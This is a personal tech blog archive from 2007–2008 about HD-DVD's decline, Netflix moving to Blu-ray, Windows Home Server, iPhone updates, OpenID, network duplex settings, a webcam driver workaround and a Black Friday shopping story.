Well, I love my Xbox360 HD-DVD drive, and watching full 1080p HD-DVD movies on the Elite model. I've bought about 10 or so HD-DVDs and have rented a few from NetFlix recently. But, in what is looking more and more like an inevitably certain format death, Netflix announced today that it will no longer be stocking new HD-DVD releases, and they'll eventually phase out the current titles from their stock.

In fact, as I was writing this post an email from Netflix just arrived that explains the change:

netflix We're Going Blu-ray

Dear Greg,

You're receiving this email because you have asked to receive high-definition movies in the HD DVD format. As you may have heard, most of the major movie studios have recently decided to release their high-definition movies exclusively in the Blu-ray format. In order to provide the best selection of high-definition titles for our members, we have decided to go exclusively with Blu-ray as well.

blu-ray While we will continue to make our current selection of HD DVD titles available to you for the next several months, we will not be adding additional HD DVD titles or reordering replacements.

Toward the end of February, HD DVDs in your Saved Queue will automatically be changed to standard definition DVDs. Then toward the end of this year, all HD DVDs in your Queue will be changed to standard definition DVDs. Don't worry, we will contact you before this happens.

You can click here to change your format preferences.

We're sorry for any inconvenience. If you have any questions or need further assistance, please call us at 1 (888) 638-3549.

-The Netflix Team

Well, sometimes you make a bet and you lose.

So, my (our) options at this point appear to be...

    1. Wait around, hope against hope, and pray that HD-DVD miraculously sees a resurgence (umm, yeah...)
    2. Hope someone builds a dual-format drive for the Xbox360 that can replace the one I have now (not likely)
    3. Buy one of the new dual-format/combo drives that you can put in a PC and go that route (possibility, depending on what they end up costing, and I have to think about how and where I want to play movies)
    4. Buy a PS3 (ouch, in so many ways)
    5. Just give in and buy a Blu-ray stand-alone player (but I wonder if I should wait til they drop in price some more, they ain't cheap)

Any other ideas? Let me know!



Add/Read: Comments [5]
Movies | Tech
Monday, February 11, 2008 12:52:32 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

I've been a monthly customer of T-Mobile's hotspot service for a few years. I used the service almost exclusively at Starbucks stores. So, with the new announcement that AT&T and Starbucks will be offering two-hour chunks of use for free if you have a Starbucks card (the refillable type) as well as a $20 per month unlimited use option. It looks like I will no longer need the more-expensive T-Mobile account. The only time I've ever used it outside of Starbucks was at airport locations (Red Carpet Club), and I'm not flying as much as I used to (thank goodness).

You can't really beat free WiFi, and it's everywhere these days (except Starbucks), so this is a smart move in my mind.

From BetaNews:

While final pricing structures could change, some details have come out: the service will cost $3.99 for two hours of Internet access. But those customers who register and use their Starbucks card will receive two hours of free access per day. An unlimited plan is available for $19.99, which includes access to over 70,000 AT&T hotspots worldwide.

Existing T-Mobile HotSpot customers aren't being left out in the cold; thanks to an agreement with AT&T, they can continue to access the Wi-Fi at Starbucks without paying extra.

(full story)

Also, see the ars techncia coverage at this link.



Add/Read: Comments [0]
Mobile | Tech
Monday, February 11, 2008 12:10:33 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, February 09, 2008

I don't think I have actually mentioned it here before (oops), but I use Twitter on a semi-regular basis to jot down PocketTweets Screenshot (click for the site)thoughts, post my "status" and keep an eye on what some other people are doing. My Twitter name is greghughes (go figure), so feel free to add me to your follow list, or whatever. :)

Twitter has a mobile client (at m.twitter.com, but note that it only works on a mobile device) that works, but it's pretty basic and feature-incomplete. So, since I had some time this evening I decided to look around for software (to run on the PC) and web-based (for the iPhone) clients.

I found a few options, including a really nice web-based client specifically made for the iPhone (or the iPod Touch) called PocketTweets, which is clean in appearance and includes pretty much all the Twitter functionality. I can post my own Twitter updates (called "Tweets"), send replies to others, or anything else on Twitter I might want. It's certainly better than any of the other clients I found. Very cool.

Next I need to find a good Windows client that won't crash when run on a 64-bit OS. I've been using Snitter, which is pretty okay but doesn't quite work (update) reliably enough in my experience and I'm not much of a fan of bright and contrasty color schemes. Any ideas?



Add/Read: Comments [2]
Blogging | Mobile | Tech
Saturday, February 09, 2008 8:12:38 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, February 06, 2008

WTFs/m - that's perfect! I think my good QA friend Brent would probably agree (and laugh out loud)... Mild cartoon language follows, but the humor is worth it.

WTFs/m.

(discovered via Robert Hensing's blog)



Add/Read: Comments [2]
Humor | Tech
Wednesday, February 06, 2008 7:05:25 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Richard and I spent about 30 minutes the other day chatting with Bil Simser, all-around good guy and MS SharePoint MVP since 2004. SharePoint is a set of technologies I have been involved with since before day one, if that's even possible. I remember vividly deploying SharePoint Portal Server 2001 as a secure extranet site (something it really wasn't intended to do) before it was even released. SharePoint's come a long, long way since then for sure!

It's common for IT professionals to have SharePoint shoved into their laps unsuspectingly by users or prospective users as a platform for business intelligence or document management or collaboration, so it's a good idea to be aware, try it out, see what you can do with it (and what you can't), and what it takes to properly design, build, deploy and manage in the environment.

Listen to the show for analogies, buzz words, licensing, planning, components and other important things to think about when you find yourself in the world of SharePoint.

Bil Simser On Managing Sharepoint (MP3 link)
from RunAs Radio podcast

Richard and Greg talk to Bil Simser about the challenges of managing Sharepoint 2007. Bil points us to the SharePoint Capacity Tool (www.shrinkster.com/uhw) and comparisons between Windows SharePoint Services and Microsoft Office SharePoint Server (www.shrinkster.com/ui1). Check out Bil's blog at www.shrinkster.com/uhv.



Add/Read: Comments [1]
RunAs Radio | SharePoint | Tech
Wednesday, February 06, 2008 4:33:21 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, February 05, 2008

iphone_16GB Well, we knew it was coming. Apple's 16GB iPhone is here and it's $100 more than the one we already have. I wonder how many they'll build and sell. It looks like the only change is the storage capacity. For some I guess another 8GB is nice to have, but for me I don't need it. I'll make a move (quickly) when a 3G iPhone ships. Hopefully soon, and hopefully with features like MMS and video recording. iPhone is available in an 8GB model for $399 and the new 16GB model for $499.

There's also a 32GB iPod Touch. Now that's kinda cool. But I already have an iPhone, and if I buy another media player it will probably be a Zune.

So... Anyone buying?



Add/Read: Comments [6]
Mobile | Tech
Tuesday, February 05, 2008 8:26:01 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, February 04, 2008

If you had five minutes on stage what would you say? What if you only got 20 slides and they rotated automatically after 15 seconds?

That's the basic premise behind Ignite Portland, which is happening this week on Tuesday night at the Bagdad Theater in Portland, Oregon.

I'm going to be there - along with what looks like a few hundred others - checking out what people have to say. If you happen to be in the Portland area, why not come down and check it out? It's free. If you'll be there, sign up ahead of time so they can plan (not required, but nice to do) and let me know so we can say hi!



Add/Read: Comments [1]
Random Stuff | Tech
Monday, February 04, 2008 6:17:25 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, February 02, 2008

From the LiteOn people comes a great design for a mouse that I will gladly plunk down a few  bucks for if it ever makes it to the market. It received a RedDot Design Award, in fact. Here's hoping it finds a place in the real world.

mice2The Moldable mouse can be shaped into pretty much whatever form you like. Goodbye RSI and Carpal Tunnel Syndrome? Just change the shape now and then. We can hope!

Moldable Mouse is made of non-toxic lightweight modeling clay, covered with nylon and polyurethane blend fabric. It can be kneaded into any shape the user prefers, and the shape is self-retaining. By allowing a wide variety of hand positions when holding the mouse, it reduces repeated motions of the same posture, thereby minimizing the chance of common mouse-related injuries such as the Carpal Tunnel Syndrome. The click buttons and touch-sensitive scroll pad of the mouse are stick-on parts with built-in RFID (Radio Frequency Identification Device), which can be repositioned for maximum comfort.

The nylon and polyurethane blend fabric covering comes in a variety of colors. The texture of the material feels similar to silk, but is much more flexible. Its softness significantly increases the comfort level of the mouse over that of the traditional plastic versions. Patterns and graphics can be printed on the fabric to make the Moldable Mouse more visually appealing. The base of the mouse, made of 100% recyclable PC/ABS plastic blend, houses the PCB (Printed Circuit Board), laser optics and batteries. Reducing plastic usage to a minimum by using mostly non-toxic clay and fabric, the Moldable Mouse is also an ecologically responsible product.

(via Engadget, via Wired)



Add/Read: Comments [1]
Tech
Saturday, February 02, 2008 11:07:35 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, February 01, 2008

microsoft_yahoo The move Microsoft made this morning in publicly offering Yahoo! shareholders a pretty darned decent price per share to acquire the company was a fairly aggressive one, and honestly I've wondered for some time - along with everyone else - when someone would finally make the move. It just makes sense. With the announcement earlier this week by Yahoo! of it's financials and planned layoffs, the timing was about as perfect as it could get.

Everyone and their brother has blogged and commented on this, and I won't waste your time or mine telling you what I think (although I am interested in and have been thinking about the whole "how do you combine CardSpace and OpenID?" question, and there are some obvious and potentially very good answers to that one). Instead, I just wanted to point you to a well-written and (I think) good analysis by a few industry experts that was published today on betanews.com. I suggest you read it if - like me - you are at all interested in the deal and what it means.



Add/Read: Comments [0]
Tech
Friday, February 01, 2008 8:10:50 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, January 30, 2008

Yahoo OpenID (click for the site) Today came an announcement that represents a pretty big step in the identity space. Yahoo! announced they have rolled out beta support for OpenID v2.0 and that Yahoo! is now a provider of OpenIDs. In fact, anyone who has a Yahoo! account can quickly generate a Yahoo! or Flickr-branded OpenID to sign onto any web site that supports OpenID v2.0 for authentication. That's 248 million accounts at Yahoo! that can now potentially be leveraged across the Internet for sign-on.

OpenID is an important standard that came out of the open-source community, which will likely change the way we provide identifying information and gain access to secured web sites on the Internet. It allows its users to have a single identity that can be used across different sites on the Internet. It also allows users to have the proper level of control over how they identify themselves and who they want to trust with that process.

One significant key to success for OpenID as a standard is adoption by a set of trusted identity "providers" - or OpenID-issuing organizations that people are comfortable with when it comes to asserting their identity information. With Yahoo! a large number of regular, everyday people can use their existing accounts to perform OpenID logins on any site supporting the standard. In the future, the hope is that other consumer-trusted providers will see the value of brand recognition that goes along with being the OpenID provider for consumers. Yahoo has me as an OpenID client now, which means every time I log onto an OpenID-enabled site and use that ID, I am by default thinking on some level about Yahoo! -- Pretty smart. It's time for banks, other financial service providers, and similar industries to seriously start thinking this one through. It's coming, and now is the time to be on the bandwagon.

Where can you use your OpenID to log in? Lots of places. There's a list of web sites over at myopenid.com, a service provided by Portland company JanRain. The people at JanRain have created some great software and services around the OpenID standard that businesses can use to leverage OpenID, and that enable social networks around the standard. It's pretty cool stuff.

Here's some basic information about OpenID from the Yahoo! OpenID provider site:

What is OpenID?

In a nutshell, the OpenID technology makes life simpler by having only one username and password to remember.

Once you have enabled your Yahoo! account for OpenID access, you only need to remember your Yahoo! ID and password to use hundreds of websites... So bid farewell to password spreadsheets and stickies all over your desk!

When you are on a web site that supports OpenID login, simply look for a Yahoo! login button. Or if you see a text box with an OpenID icon, simply type in "yahoo.com". You will be sent to Yahoo! to verify your Yahoo! ID and password, and then you will be able to continue on.

You can find out even more at openid.net (the OpenID Foundation), and it's worth pointing out that you can also get an OpenID from a slew of other organizations - after all, it's all about making it your choice. The OpenID foundation keeps a list of providers on its wiki and at this link.



Add/Read: Comments [3]
IT Security | Safe Computing | Tech
Wednesday, January 30, 2008 7:46:31 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, January 23, 2008

I'm going to go off on a bit of a (somewhat grumpy) lecture here in hopes that people will stop long enough to listen. A little Gestalt therapy, if you will. Ultimately I hope at least one person recognizes a need and acts on it.

If I had a dime for every time I have personally seen this one issue bite someone in the backside, I'd be a rich man. There are a zillion things that can go wrong on a mission-critical network, but of those things there are actually just a few that account for a substantial portion of the issues that typically bring critical services down.

So, if you run a network and have not addressed the one issue I will describe below, please take the time out of your day to start a plan to remediate the problem ASAP. Along the same lines, if you are not sure where you stand with regard to the issue, or if you have never checked but you feel confident because everything works today and always has so it can't possibly be an issue... Again, please just take the time to inspect your infrastructure and put a plan in place.

I should also say that if I had a dime for every time I've said exactly what you just read in the paragraph above, I'd be a rich man. I lost count long, long ago of the number of hours spent watching people try to avoid - in any way possible - checking the obvious and addressing it. Usually that's due to those egg-on-face concerns that go along with being they guy who missed something so simple and critical (albeit not too obvious) when it came time to learn the detailed intricacies of running a high-availability network.

Okay, enough with the harshness. Time for the issue at hand.

The number one network mistake I have seen people make on IP networks, over and over again, is using the default settings on their switches and servers that cause the network interfaces to auto-negotiate the speed and duplex settings.

Seriously, if your requirement is to provide high availability and your SLAs require your services be up, do not neglect the critical (but often skipped) process of manually configuring your NICs and switches to the proper setting. Just because the interface says it's running 100mbps and full-duplex doesn't mean it's working, and when your network takes a dive and you start losing packets you'll be sorry.

Along the same lines, never assume that one half of one percent of packet loss is no big deal. Seriously, if you are seeing retransmits on your network interfaces, something is likely wrong. Also, chances are that .5% loss is not being scattered evenly across your traffic. It may all be happening at once in bursts, and that hurts - a lot.

Again, if I had a dime for every time I (or someone working with me) recommended inspecting the interface settings, recommended changing them, and flagged interfaces where traffic analysis showed data transmission loss that was obviously causing network apps to fail... Well, let's just say it's amazing how hard it is to convince some people that their network is the cause of the issue.

Why am I being so blatantly blunt about this? Because I hope that the message will carry, that administrator egos will be set aside, and that people will understand that the real-world evidence based on years of actual experience, proven over and over again, bears out the fact that this will eventually happen to you if you have not already taken the steps to ensure it doesn't. Don't let that happen. Protect that ego now, rather than waiting for it to be damaged.

Finally, don't fall prey to the idea that just because you have high-grade HP, IBM and Dell Servers and Cisco switches that the money you (smartly) spent negates the need to set things up the right way, or that these vendors have everything figured out for you and set as defaults. Point of fact, this issue occurs just as often (if not even more so) with your expensive, data-center class hardware. In fact, Cisco switches have been somewhat famous for requiring intervention of the manual-configuration type. They even have a troubleshooting support article here that you can refer to for your configuration needs.

You have been advised. Now go do something about it. And forward this to every network administrator you know. The network (and ego) you save may be theirs. :)



Add/Read: Comments [8]
Tech
Wednesday, January 23, 2008 3:21:31 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

sharedview1 I recently set up a Windows Live Workspace beta site, and while doing that I saw a program that I had not realized was available before, called SharedView. It's a program that is currently in beta (the release number as of this writing is beta 2), and it's a simple and effective app that lets you share your desktop or applications with someone else and lets the participants grant control of their computer desktop to others in the session. It's integrated into the Office Live Workspaces for collaboration purposes, but it's usable for a variety of purposes.

I didn't download the program immediately, but was intrigued by what Microsoft had put together. Then, as fate would have it, the next day my mom sent me a IM via my mobile device (she sharedview3really is pretty tech-hip for a retiree, heh), telling me she had a little computer problem and needed some help. In the past we've tried to use remote desktop services and the help-request functions in the MSN/Live IM client, but firewalls always seem to get in the way and performance has tended to be lackluster. Anyhow, in the process of trying to solve the computer issue, it  often becomes too complicated to try to solve it via text messages, so in this case I hooked up my laptop, downloaded the SharedView client and set up a SharedView session with my LiveID account and pointed her to the download so she could join the session using my email address and a passcode.

Within a few short minutes she was online and in the SharedView session and I was able to see her desktop. I liked that I was able to point to things on her desktop and she could see what I was pointing at, without having to take control away (this feature is called Personal Mouse Pointers). Nice feature. When it became necessary, she easily (and intuitively, without specific instructions from me) granted me control and watched as I walked her through the fix, explaining it along the way. Several times I handed control back to her so she could do part of the tasks.

In the recent past I've paid for similar services from other companies that also work well. Some of them don't rely on an installed program like this one does, but the SharedView app download is small and simple and works well on sharedview4 either Windows XP SP2 or Vista. I'd like to see it offered as a click-once app to easy use (at least as an option, if this type of app can even be deployed that way).

One of the great tests of success in today's software utility market is usability. One way I gauge the usability of an app is via watching my mom use it. If she can pick it up without much prompting, it generally passes. If she can't figure it out, chances are others can't either, and so it fails. SharedView met the expectations of that litmus test. Another great example of meeting the usability requirements and needs of the average user is Windows Home Server, which I started using in my own home not too long ago and about which I have written a couple times. There's some true-quality stuff coming out of Redmond right now for the average user, and that's good to see.



Add/Read: Comments [4]
Tech
Wednesday, January 23, 2008 12:38:52 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, January 17, 2008

widows_home_server_logoWow, I sure have been making use of my HP MediaSmart Windows Home Server since I acquired it late last year, and to be honest I have not really even scratched the surface. With 64-bit client support coming soon, I am excited about the future, too.

After working with a bunch of music, video and image files over the past few weeks, not to mention computer backups, the single 500GB drive that it came with is both a little small and represents a single point of failure that I realized I don't want to take a chance on. So, I logged onto newegg.com last weekend and ordered a 1TB Western Digital SATA2 hard drive at a great price. It arrived today,and I slapped it into one of the three open trays and slid it into the slot. Within half a minute the drive showed up in the Home Server console and I was able to add it to the storage with a couple clicks and a two minute waiting time:

OneTerabyteAdditionHomeServer

What a slick and fool-proof process they've come up for adding drives in Windows Home Server. Anyone can do it. It's great stuff, and the add-on community is thriving - There's a whole slew of community-created programs that you can install on your home server to add functionality. It's quite useful and a lot of geeky fun.

With the addition of community programs and the overhead of the additional HP software, the memory's a bit short. So I have a 2GB sick of RAM sitting on my desk, wait for me to decide if warranty risks of taking it apart to beef up the RAM are worth it. Do I dare?



Add/Read: Comments [5]
Tech
Thursday, January 17, 2008 7:10:11 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, January 15, 2008

image Well, it's finally happened. Apple has released iTunes v7.6.0.29 along with the iPhone v1.3 software, adding support for syncing with 64-bit Windows Vista in this new version. So, I have updated the iPhone (and lost my custom apps at least for now as a result) and am a happy camper. Relying on the aging Mac Mini desktop to sync was not working well for me. Now I can sync to my notebook.

Apple plans to introduce formal support for third-party apps through their own developer program next month, so I will happily wait a little while and hope for my couple of apps that I liked (especially the iFlix NetFlix manager app, one of my recent favorites).

There are some great enhancements, especially in the Google Maps application. Check out some of the new capabilities here in a Apple video tour of the January '08 update.

I left my iPhone at home one day last week when I drove to Portland for a day of jury duty followed by time trying to meet up with other people I know. I didn't notice until I was halfway to the city that I had forgotten it, so it was too late to go back and get it. All afternoon I realized how much I rely on my phone for regular daily stuff and how much others rely on my having it with me, as well.

Now I just have to sync up my purchased stuff from the iTunes Store and get the Audible account moved over. After that, I'm golden!



Add/Read: Comments [3]
Mobile | Tech
Tuesday, January 15, 2008 7:16:41 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, January 04, 2008

I wrote before about my new HP MediaSmart Home Server, as well as the fact that there is no 64-bit client support available yet. In the end, it seems the Microsoft Vista team had to make a change to the OS to fix an unrelated issue, and the cascading effect of that change was that certain native backup capabilities on 64-bit windows clients (upon which Home Server relied) got broken. All that happened while Home Server was in development.

Well anyhow, looks like the CES show will be the place where HP will announce a soon-available client for 64-bit Vista. I'm happy, because Windows Home Server and the HP MediaSmart hardware and software are pretty darned great stuff, if you ask me.

So - Thank you in advance, HP. The AV software from McAfee (note that Avast! also recently released a AV package for WHS), enhanced media streaming and other features will be nice to take a look at, as well. Good deal!

News and some detail can be found here:



Add/Read: Comments [0]
Home Servers | Tech
Friday, January 04, 2008 10:26:31 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, December 07, 2007

Note: This article contains a cheesy workaround that worked for me. It is most certainly unofficial and not supported by HP or anyone else (including me). So, if you use it - just know your mileage may vary.

I have a HP Pavillion dv9620 laptop with Vista 64-bit Ultimate preinstalled. It's a big-ol' laptop and has a webcam built into the top of the display. But the camera has hardly ever worked. For months I am grumbled at it each time it has failed to work in MSN Messenger and in HP's own QuickPlay software. It worked for a while, then it worked only when I first started the computer, and eventually it would not even do that, so I pretty much gave up. HP drivers did not help, one bit. Heck, just finding them on the HP web site is a painful task.

Tonight Carl Franklin asked me to help his test his webcam. We fired up Live Messenger and I was able to see and hear him just fine, but of course mine was not working. Pretty lame.

Call that inspiration. Nothing worse for a technical person than to have a broken system, especially in front of other techies, heh. I decided to start searching the web again this evening for some sort of solution, and after finding a bunch of the same-old forum and newsgroup posts, I ran across what appears to be a real gem. And it seems to have solved my problem: No more failure to see and use the HP webcam, at least so far in Messenger and in QuickPlay.

chicony1

The camera is made by a company called Chicony, and it turns out Acer also uses their cameras (as do some other manufacturers). Note that not all HP notebooks have Chicony webcams - some have Ricoh models and possibly other brands. Check your Device Manager to see who the hardware manufacturer is listed as to help determine whether or not this is the right method for you (or just try it and deal with any glitches if it's not). But, according to this post in the forums at notebookreview.com, people are having great success using the Acer drivers on their Vista Pavillion machines with the built-in webcam.

I downloaded the drivers, checked them for safety, and updated my system by following the simple instructions. Voila! It works! It shows up in device manager as an Acer webcam, but I can live with that, for sure.

image

With a little luck it will keep working. Before posting this I rebooted and rechecked the camera, opened a few programs to try to screw it up, etc. So far, so good.

Here are the brief instructions (as slightly adapted from the post by Dylan Bennett at notebookreview.com):

  • First, download the drivers. I got mine from here, and yes -- these are the drivers I used on my 64-bit Vista install: Acer Extensa 5210 Chicony Webcam Driver 5.7
  • Next, unzip the installer executable file, then run the setup program and do the reboot thing.
  • After you log back in Windows should tell you it's setting up your devices and finding the drivers. Let it finish.
  • Open the Control Panel and then open the Device Manager.
  • Find the webcam under "Imaging Devices." On mine it was listed as a generic USB 2.0 device. Yours may be different.
  • Right-click on the webcam entry in Device manager and select "Update Driver Software..." from the menu.
  • Choose "Browse my computer for driver software."
  • Choose "Let me pick from a list of device drivers on my computer."
  • Uncheck the "Show compatible hardware" checkbox.
  • Scroll in the list to find Chicony in the dialog's manufacturer list.
  • Choose the "Acer Crystal Eye webcam."
  • You're most likely going to be warned that the driver cannot be confirmed to be compatible. You can tell it to install anyway.
  • Wait for the driver to be installed.
  • Check Device Manager under the Imaging devices section again and see what you have. Note that the webcam will likely now be listed as an Acer Crystal Eye webcam.

devicemanager4webcam

Now, go and use Messenger or whatever program has given you fits before and see what your results are. Be sure to reboot and try all your webcam-enabled programs. Give it a real brutal test before declaring success. For me it's been great, but your mileage most certainly may vary, and I am certain HP will not consider this a supportable configuration, heh.

Proof it works for those that need it, here you go. Gotta love the reflection-in-the-glasses thing, heh:

Good luck!



Add/Read: Comments [53]
Tech | Things that Suck
Friday, December 07, 2007 9:31:37 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, December 04, 2007

UPDATE re CompUSA: I'm still not sure where the $150 price cut came from, but Reuters and everyone else is now reporting that CompUSA is being sold and, from the sounds of things, pretty much shut down. Stores will remain open over the holidays with some likely fire-sales, so might be the time to see what can be had over the next few weeks... This might explain why the company didn't try to sell me their obligatory extended service plan when I purchased the home server...

I bit the bullet this past weekend and went online over at CompUSA.com and found that a HP MediaSmart Server (the new Windows Home Server OEM device) was in stock at one of the Portland stores (Jantzen Beach, specifically). So, I reserved it online for in-store pickup and headed into the city to get it.

HomeServer2 Much to my (very pleasant) surprise, when I got to the store and they rung it up, the $599 price was automagically reduced by $150 as an instant savings at the register (nice!), so I ended up with the 500GB model (the EX-470) for $450 -- which was just fine by me! All that saved money can go toward another hard drive to add to the system's storage capacity.

When I picked up the new server, I was on my way to the Van Halen concert in Portland with a friend (more on that later and in another post), and then we spent the entire next day skiing at Mt. Hood Meadows on Sunday, so the Home Server didn't even get unpacked until late on Sunday night.

HP's packaging is top-notch, and the documentation was excellent. Seriously, the quick setup steps for the hardware are literally three simple steps - Connect the power cord, connect to your LAN router with the Ethernet cable that comes in the box, and push a button. After that, go to a computer on your LAN, pop in a CD, and follow the instructions on the screen.

Windows Home Server is a very cool system. It allows local LAN and remote access, including web-based access for visitors (friends, family, etc). It will back up your computers each night in case something goes wrong with them (Unless you're running an x64 version of Windows - more on that in a minute) and creates a centralized place on your network for media files (audio, video and pictures) as well as installable software. You can copy any type of file to the system (in backup mode or otherwise). The multimedia capabilities allow you to use your Xbox 360 to play the multimedia content stored on the server. The HP flavor also includes iTunes integration (one central library for all your computers) and some other nifty stuff. I pretty much hate iTunes these days (more 64-bit compatibility gripes plus its just so frustratingly bloated), so I am not sure I will actually use that capability, but it's nice to have.

I have one compliment and one gripe at this point in my story about setting up the Home Server out of the box. On the positive side, the setup software is run on a client PC attached to your LAN, and the setup wizard is very user friendly, simple and quick to execute. You don't have to be anything close to a computer expert to install and run this system, which is a huge victory for Microsoft - Great job! However, when I tried to do the setup the first time I did so from my main laptop, which I bought a few months back at a consumer store (also from CompUSA). It would not work. The problem is that my laptop has Vista Ultimate 64-bit installed on it by HP, and the Home Server Client software simply does not support 64-bit Windows. This strikes me as pretty ridiculous in this day and age, and I was more than just a little disappointed. I suppose I could (should) have done my Google homework before I purchased, but seriously... Bill Gates was stating Microsoft's commitment to 64-bit computing back in 2004 and 2005 (and since), and with 64-bit operating systems being installed on consumer computers and sold in retail stores, it seems to me it's time to be shipping 64-bit support in all software right up front. It's really not just about early adopters anymore. And Microsoft's not the only culprit here - there are a number of manufacturers of software that decide for whatever reason not to build in 64-bit support. But I think that's a mistake. That said, word is that 64-bit Home Server Connector bits will be available in early 2008. Okay, so I wish the situation was different but it's not. And yes, building software is expensive and complicated, etc. etc. etc... I know. End of rant.

Once I set up the server using a different client computer (one running 32-bit Vista this time), things went very well. It took very little time and was flawless. My DLink router has UPnP enabled, but for some reason Home Server was not able to automatically configure the Home Server's remote access settings on it, so I had to set that up manually (just three port-forwarding settings after establishing a fixed IP address for the home server on the router). Once the router was configured (the setup program provided all the information I needed in clear and plain language), everything checked out just fine.

From the 32-bit machine I can access the Home Server via a slick console application that lets me configure and access data. It's really a terrific interface, especially for a v1 product. It shows the value in building a clean, network-enabled Windows application over a browser-based web app, for sure. I especially like the remote application capability, which is basically a limited RDP connection for administrative purposes. In order to access the server from my 64-bit machine I can map a drive and/or access the file system via a UNC share name(\\servername\sharename), so I was able to upload a slew of pictures to a shared library that way. I can also RDP into the server from the 64-bit laptop with the standard Windows remote desktop client and launch the Home Server Console that way from the server's remote desktop (a stern warning page is displayed when you login via plain-old RDP, saying be careful and that the preferred method is to use the management console installed on a remote client machine). I'll be glad when the 64-bit client software is available so I don't have to do that anymore.

HomeServer1 The hardware is nice, looks good, is fairly quiet and has plenty of expansion room. I've started looking at 750GB and 1TB drives online to determine what I want to buy to build the system out. It has three internal drive bays free and three USB ports as well as an eSATA port on the back, so expansion is pretty flexible. In a podcast that my friend Scott did a while back where he interviewed Windows Home Server product unit manager Charlie Kindel (it's a great show, so you should go listen), Charlie said they had one test system where they added something like 26 drives - wow... The way the system works is cool. You add new drives to the system and it recognizes them and basically through the magic of the underlying software your storage pool grows larger. So, you don't have to worry about multiple drive letters or anything. Also, once you add drives beyond the first one you can set up duplication of folders between different drives for data redundancy. That way the content you mirror will survive the failure of any given drive. Not quite the RAID level of fault tolerance but a good and easy-to-use compromise that provides novice-level flexibility and usability you don't tend to find with RAID controllers. In all, the whole Windows Home Server disk/file subsystem is pretty darn cool.

Perhaps one of the most exciting aspects of Windows Home Server, which I plan to check out over the next few days, is the fact that they opened the system up to allow developers to create add-on applications that expand and enhance the Home Server capabilities. There are already a number of really cool apps, which you can check out here.

So, that's my first impressions. Initial software frustrations aside (and with a future resolution on the horizon), the HP hardware and software and the Windows Home Server operating system check out with very high scores. I can recommend this system without hesitating, and even if you don't know much about computers or networking you'll be able to set this system up and start backing up and sharing information both on your home network and over the Internet with family and friends.



Add/Read: Comments [5]
Tech | Home Servers
Tuesday, December 04, 2007 2:56:27 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, November 26, 2007

I spent the better part of the last week at my dad's place, along with family and extended family for the holiday. They live in Los Altos, in the South Bay area of California. I decided, in a phase of misguided insanity, to get up at 4:00 a.m. on Friday morning to go down to the local Sears store in order to take  advantage of the Toshiba HD-A3 deal they had going (see an approximately equal Amazon deal here). The HD-A3 is a HD-DVD hd-d3_clfront player, and if you were willing to deal with the crowds, you could score one of the $300 players for $169, which is quite a deal. And it comes bundled with two movies (300 and Bourne Identity - good ones), and Toshiba has a deal where you can get five more HD-DVD movies for free from a list of titles.

Unfortunately, I forgot in my excitement and planning frenzy that Sears sucks. I should have stopped to - oh, I dunno - think or something.

Imagine the lonnnng line at Sears, waiting for the doors on the east side of the store to open precisely at 5am. People were giddy, and excitement poured from the mouths of people in many languages. Since I (of course) was late and was not really all that excited about being the last guy in, I just looked at the line and decided to wander down the sidewalk to the corner to see what other doors might eventually open up. If I was going to be last, I could at least get a good loser seat, you know?

This, friends, is where Sears made it's first mistake. Three other people stood with me at the wrong door, in sight of the long line of people who had been there for presumably hours. My door companions, too, had that dejected, partially confused look of glazed donuts in their eyes. And at about two minutes before the magical hour of 5am, the employees inside the store opened our door - before they opened the door where the long line was waiting.

Now, I don't know if some Sears employee thought that was funny or what, but I can tell you the line of people was collectively pissed, and vocalized that fact as we walked right in our door. Some bolted for our door, as well. Others stood their ground. It turned out it was no big deal, since the long line was at the entrance closest to the stair leading down to the electronics department (which is where everyone was headed - more on that in a minute). But the initial opening of the wrong door had the people worked up, and as we marched down the steps of the non-working escalator to the electronics floor, elbows and attitudes started to fly.

Now, if that was it, I'd say it was really no big deal. But there's a more to the story.

We get to the bottom of the escalator (mostly by force, as the crowd behind is pushing hard to get to  its destination), and see that there is no way to move once there because the growing number of people who have already made it downstairs are all stopped about 20 feet away, looking down at something, shoving and jumping over each other. I work my way through the throng and walk around to the other side and discover what was essentially a small, round end table on the floor with a festive red tablecloth draped over it, and a pencil. One woman among the staff started yelling to the entire crows that they would have to sign up on the paper to be served.

You have got to be kidding me, I thought. Who was the genius who came up with this idea?

I stood there and took a few body-blows to my back and shoulders as a couple fireplugs of individuals tried to force their way through the huddled masses to get to the magical service lamp table. It quickly got to the point where I decided to let a couple of controlled elbows loose when one particular individual got to be a little too rough... Just enough to point out he might want to stop, which he did. Then a seven-foot Neanderthal of an individual tried to barge his way through, and failing that then tried to lean and reach over everyone to sign up that way. He was arms-a-swingin' and managed to elbow my jaw a good one, which I didn't particularly appreciate, so in the true holiday spirit I responded with a quick and (relatively)harmless knuckle jab to the ribs. After a couple of those (hey, I was protecting my face), he decided to back off. At least people were able to recognize they were acting like idiots. Good thing no one was drunk.

Anyhow, this story is supposed to be about finding the HD-DVD player for my dad (which I eventually did), not about wrestling at Sears. Needless to say, I gave up on doing any business at Sears almost immediately. The store had almost every DVD player in their arsenal in boxes on the floor except for the Toshiba HD-DVD player and a couple others. So the only way to get what I needed was to sign up on a list that I could not get to and risk a bruised face. No thanks. I think maybe I'm giving up on Sears for good.

